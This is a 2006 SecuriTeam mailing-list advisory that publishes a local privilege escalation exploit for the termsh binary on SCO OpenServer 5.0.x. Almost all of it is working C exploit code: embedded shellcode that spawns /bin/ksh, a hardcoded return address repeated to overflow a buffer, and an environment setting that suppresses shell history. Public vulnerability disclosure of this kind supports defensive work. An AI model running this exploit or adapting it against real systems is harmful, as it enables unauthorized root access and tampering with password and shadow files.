From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 3 Jan 2006 10:11:59 +0200
Subject: [EXPL] SCO Openserver termsh Privileges Escalation (Exploit)
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SCO Openserver termsh Privileges Escalation (Exploit)
------------------------------------------------------------------------
SUMMARY
A vulnerability on SCO Openserver allows attackers to gain access to the
/etc/passwd and /etc/shadow files.
DETAILS
Vulnerable Systems:
* SCO Openserver 5.0
Exploit:
/*
hi all
I RoD hEDoR
my web http://www.lezr.com/vb
------------[L - G - H]----------------
SCO Openserver 5.0.x exploit
attacker allowing for use this
flaw to gain write access to /etc/passwd or /etc/shadow
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xff\xf8\xff\x3c\x6a\x65\x89"
"\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
"\x50\x68""/ksh""\x68""/bin""\x89"
"\xe3\x50\x50\x53\xb0\x3b\xff\xd6";
int main(int argc,char* argv[])
{
char* buffer;
char* arg = "-o";
char *env[] = {"HISTORY=/dev/null",NULL};
long eip,ptr;
int i;
printf("[ SCO Openserver 5.0.7 termsh local privilege escalation
exploit\n");
if(argc < 2)
{
printf("[ Error : [path]\n[ Example: %s
/opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
exit(0);
}
eip = 0xa2080853;
buffer = malloc(7449 + strlen(shellcode));
memset(buffer,'\x00',7449 + strlen(shellcode));
ptr = (long)buffer + strlen(shellcode);
strncpy(buffer,shellcode,strlen(shellcode));
for(i = 1;i <= 1862;i++)
{
memcpy((char*)ptr,(char*)&eip,4);
ptr = ptr + 4;
}
execle(argv[1],argv[1],arg,buffer,NULL,env);
exit(0);
}
/* Eof */
ADDITIONAL INFORMATION
The information has been provided by <mailto:rodhedor@hotmail.com.> rod
hedor.
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